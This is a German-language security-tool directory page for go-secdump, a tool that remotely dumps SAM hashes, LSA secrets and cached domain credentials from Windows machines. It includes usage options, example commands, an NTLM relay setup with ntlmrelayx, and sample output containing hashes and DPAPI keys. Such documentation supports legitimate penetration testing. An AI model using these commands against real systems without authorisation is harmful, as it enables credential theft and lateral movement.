Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/jfjallid/go-secdump
Passwort-CrackingVerschlüsselungs-/EntschlüsselungstoolsLaterale BewegungPost-ExploitationPenetrationstestsAuthentifizierungRed Teaming
GitHubjfjallid/go-secdump

go-secdump

Werkzeug zum entfernten Auslesen von Geheimnissen aus der Windows-Registrierung

Repository anzeigen
53460vor 1 MonatVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

go-secdump

Beschreibung

Das Paket go-secdump ist ein Tool, das entwickelt wurde, um remote Hashes aus der SAM-Registrierungsstruktur sowie LSA-Geheimnisse und zwischengespeicherte Hashes aus der SECURITY-Struktur zu extrahieren, ohne einen Remote-Agenten und ohne die Festplatte zu berühren.

Das Tool basiert auf der Bibliothek go-smb und verwendet sie, um mit der Windows-Remote-Registrierung zu kommunizieren, um Registrierungsschlüssel direkt aus dem Speicher abzurufen.

Es wurde als Lernerfahrung und als Proof of Concept gebaut, dass es möglich sein sollte, die NT-Hashes aus der SAM-Struktur, die LSA-Geheimnisse sowie die zwischengespeicherten Anmeldedaten der Domäne remote abzurufen, ohne zuerst die Registrierungsstrukturen auf die Festplatte speichern und dann lokal parsen zu müssen.

Das Hauptproblem bestand darin, dass die SAM- und SECURITY-Strukturen nur von NT AUTHORITY\SYSTEM gelesen werden können. Allerdings habe ich festgestellt, dass die lokalen Gruppenadministratoren die WriteDACL-Berechtigung auf den Registrierungsstrukturen hatten und diese somit verwendet werden konnte, um sich selbst temporär Lesezugriff zu gewähren, um die Geheimnisse abzurufen und dann die ursprünglichen Berechtigungen wiederherzustellen.

Ein besserer Ansatz wurde jedoch (Februar 2025) von Julien Egloff bei Synacktiv entdeckt. Die BaseRegOpenKey-Anforderung zum Öffnen von Handles auf Registrierungsschlüssel hat eine Option, das SeBackupPrivilege zu setzen, das es uns ermöglicht, die Registrierungsschlüssel zu öffnen, ohne zuerst die DACLs zu ändern. Das Tool wurde aktualisiert, um diesen neuen Ansatz zu bevorzugen und die DACLs nur auf Anfrage zu ändern.

Danksagungen

Ein Großteil des Codes in diesem Projekt ist von Impacket's secdump inspiriert/übernommen, wurde jedoch so konvertiert, dass er remote auf die Windows-Registrierung zugreift und nur die erforderlichen Registrierungsschlüssel abruft.

Einige der anderen Quellen, die zum Verständnis der Registrierungsstruktur und der Verschlüsselungsmethoden hilfreich waren, sind unten aufgeführt:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

Die Idee, SeBackupPrivilege zu verwenden, stammt von Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

Verwendung

root@kitploit:~
Usage: ./go-secdump [options]

options:
      --host <target>        Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>          SMB Port (default 445)
  -d, --domain <domain>      Domain name to use for login
  -u, --user <username>      Username
  -p, --pass <pass>          Password
  -n, --no-pass              Disable password prompt and send no credentials
      --hash <NT Hash>       Hex encoded NT Hash for user password
      --local                Authenticate as a local user instead of domain user
  -k, --kerberos             Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip <ip>           Optionally specify ip of KDC when using Kerberos authentication
      --target-ip <ip>       Optionally specify ip of target when using Kerberos authentication
      --aes-key <hex>        Use a hex encoded AES128/256 key for Kerberos authentication
      --keytab-file <file>   Authenticate using keys from a keytab file (implies -k). User and
                             domain are taken from the first keytab entry if not specified
      --dns-host <ip[:port]> Override system's default DNS resolver
      --dns-tcp              Force DNS lookups over TCP. Default true when using --socks-host
      --dump                 Saves the SAM and SECURITY hives to disk and
                             transfers them to the local machine.
      --sam                  Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                  Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                 Extract DCC2 caches explicitly. Only other explicit targets are included.
      --misc                 Extract misc registry secrets such as the Winlogon
                             DefaultPassword explicitly. Only other explicit targets are included.
      --modify-dacl          Change DACLs of reg keys before dump.
                             Only required if keys cannot be opened using SeBackupPrivilege. (default false)
      --backup-dacl          Save original DACLs to disk before modification
      --restore-dacl         Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file <file>   Filename for DACL backup (default dacl.backup)
      --relay                Start an SMB listener that will relay incoming
                             NTLM authentications to the remote server and
                             use that connection. NOTE that this forces SMB 2.1
                             without encryption.
      --relay-port <port>    Listening port for relay (default 445)
      --socks-host <target>  Establish connection via a SOCKS5 proxy server
      --socks-port <port>    SOCKS5 proxy port (default 1080)
  -t, --timeout <duration>   Dial timeout in format 5s or 2m (default 5s)
      --noenc                Disable smb encryption
      --smb2                 Force smb 2.1
      --debug                Enable debug logging. Bare --debug turns on every
                             registered package; --debug=msrrp,smb turns on only the
                             listed package-name suffixes (the '=' form is required
                             for the filter).
      --verbose              Enable verbose logging. Same filter syntax as --debug.
                             --debug and --verbose may be combined with different
                             filters; a package targeted by both gets the higher level.
      --list-log-packages    List the registered log package names that can be
                             targeted with --debug=<suffix> or --verbose=<suffix>,
                             then exit
  -o, --output <file>        Filename for writing results (default is stdout). Will append to file if it exists.
      --output-format <fmt>  Output format: text (default), json, or hashcat
      --history              Include historical (OldVal) LSA secrets in addition to current values
  -q, --quiet                Suppress informational headers; print only secrets
  -v, --version              Show version

DACLs ändern

Jetzt nur noch als optionales Feature mit --modify-dacl aktiviert, versucht go-secdump automatisch, die DACLs der benötigten Registrierungsschlüssel zu ändern und dann wiederherzustellen. Falls jedoch während der Wiederherstellung etwas schiefgeht, wie z.B. eine Netzwerktrennung oder eine andere Unterbrechung, bleibt die Remote-Registrierung mit den geänderten DACLs zurück.

Mit dem Argument --backup-dacl ist es möglich, eine serialisierte Kopie der ursprünglichen DACLs vor der Änderung zu speichern. Wenn ein Verbindungsproblem auftritt, können die DACLs später mit dem Argument --restore-dacl aus der Datei wiederhergestellt werden.

Beispiele

Alle Registrierungsgeheimnisse mit dem SeBackupPrivilege-Trick auslesen

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

Nur SAM-, LSA-, DCC2-Cache- oder sonstige Registrierungsgeheimnisse auslesen

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

Das Ziel --misc extrahiert verschiedene Registrierungsgeheimnisse, die nicht zu den Strukturen SAM/LSA/DCC2 gehören, derzeit das Winlogon-Autologon-DefaultPassword (und das zugehörige DefaultUserName), sofern vorhanden.

Historische LSA-Geheimnisse, Ausgabeformate und Quiet-Modus

Historische (OldVal) LSA-Geheimnisse zusätzlich zu den aktuellen Werten mit --history einschließen. Ergebnisse mit -o/--output in eine Datei schreiben (bei Vorhandensein wird angehängt) und mit --output-format das Format der Geheimnisse wählen:

  • text (Standard) — menschenlesbar
  • json — ein JSON-Array von typisierten Datensätzen, nützlich für die weitere Verarbeitung
  • hashcat — reine NT-Hashes (Modus 1000) und $DCC2$-Zeilen (Modus 2100) bereit für die Eingabe in hashcat

Mit -q/--quiet die informativen Kopfzeilen und die Zusammenfassung unterdrücken, sodass nur die Geheimnisse selbst ausgegeben werden.

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

Paketspezifische Protokollierung

Die Namen der Log-Pakete auflisten, die anvisiert werden können, dann Debug- oder Verbose-Protokollierung für bestimmte Pakete (anhand des Namenssuffixes abgeglichen) anstatt für alle aktivieren:

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

NTLM-Relaying

Registrierungsgeheimnisse mittels NTLM-Relaying auslesen

Listener starten

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

Eine Authentifizierung von einem Client mit administrativem Zugriff auf 192.168.0.100 irgendwie zu Ihrem Rechner auslösen und dann auf die ausgelesenen Geheimnisse warten.

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

SOCKS-Proxy

Geheimnisse mit einem vorgeschalteten SOCKS5-Proxy auslesen, entweder zum Pivotieren oder um die SOCKS-Serverfunktionalität von Impacket's ntlmrelayx.py zu nutzen.

Bei Verwendung von ntlmrelayx.py als vorgeschalteter Proxy muss der angegebene Benutzername mit dem des authentifizierten Clients übereinstimmen, das Passwort kann jedoch leer sein.

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
Tool herunterladen